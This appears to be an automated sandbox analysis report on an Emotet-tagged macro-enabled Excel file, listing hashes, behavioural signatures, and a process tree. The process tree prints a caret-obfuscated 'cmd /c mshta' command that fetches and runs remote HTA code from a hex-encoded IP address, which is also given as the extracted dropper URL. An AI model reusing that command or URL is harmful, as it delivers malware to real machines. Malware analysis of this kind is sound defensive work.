Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    20-01-2022 05:55

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Report Analysis Logs

General

  • Target

    1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm

  • Size

    115KB

  • MD5

    88646a07a6dfa5ad4701c778b50707a4

  • SHA1

    c406856081490e6b55bfebf099d9541bc400ac77

  • SHA256

    1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90

  • SHA512

    85c65de8396b5c8ae7e7bfd9f088bb001fef5f339c32c139fd86cc7ac5c822b80cabc2f7eff102c94b1ab9bfbab69afe013836f4c5b305a26852075c4393e85c

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/se1.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1b8a7503b95b685e1c29207ac2a9a9d75b188abfc9c492e670eb365377c1ad90.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2236
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:320
        • C:\Windows\system32\mshta.exe
          mshta http://0x5cff39c3/sec/se1.html
          3⤵
          • Blocklisted process makes network request
          PID:3012

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/2200-115-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2200-116-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2200-117-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2200-118-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2200-121-0x00007FF89DB10000-0x00007FF89DB20000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2200-128-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2200-129-0x00007FF89A3C0000-0x00007FF89A3D0000-memory.dmp

      Filesize

      64KB

      Download